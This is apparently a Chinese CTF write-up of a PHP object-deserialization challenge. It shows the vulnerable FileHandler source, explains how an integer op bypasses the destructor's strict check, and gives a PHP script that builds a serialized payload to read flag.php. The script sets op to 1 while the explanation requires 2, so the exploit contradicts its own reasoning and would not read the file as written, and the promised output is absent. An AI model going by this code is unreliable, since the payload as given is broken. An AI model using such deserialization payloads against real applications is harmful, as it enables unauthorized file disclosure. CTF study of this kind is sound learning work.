做到一道题,写下 write up
源码分析
本题给了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
可以看到是 php
反序列化,那么我们主要看看析构函数 __destruct
,如果成员 $this->op==="2"
那么让它变成1,$this->content
变为空字符串,执行 process
函数。那我们看看 $this->process
函数的具体细节,如果 $this->op=="2"
那么执行 read
函数,否则执行 write
函数。首先题目开始给我们看到了是有一个 flag.php
文件的,那么我们肯定是要利用这个对象进行读 flag.php
操作的,但是析构函数的时候会如果发现操作为读,则改为写操作。那么这里需要绕过一下,因为析构函数这里是强比较,而 process
函数判断读写操作是弱比较,这里我们反序列化的时候就可以给一个 int
绕过去,让它不会被改变并且可以被判断为是读操作。
然后我们再来看看外面,可以发现用了一个函数 is_valid
用于过滤非法字符,而我们反序列化如果对象本身带有 private
或者 protected
类型的对象时,一定要用 0
字节来反序列化,不然会失败,但是低版本的 php
对类型不敏感,所以我们直接把成员类型改成 public
然后按照这个方法构造得到的序列化结果就是 payload
。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php
include("flag.php");
class FileHandler {
public $op; public $filename; public $content;
function __construct() {
$this->op = 1; $this->filename = "flag.php"; $this->content = "Hello World!"; echo serialize($this); die(); $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { }
} new FileHandler();
?>
|
运行结果:
那么这个 payload
直接打进去就可以再浏览器源代码模式看到读出的 flag
了。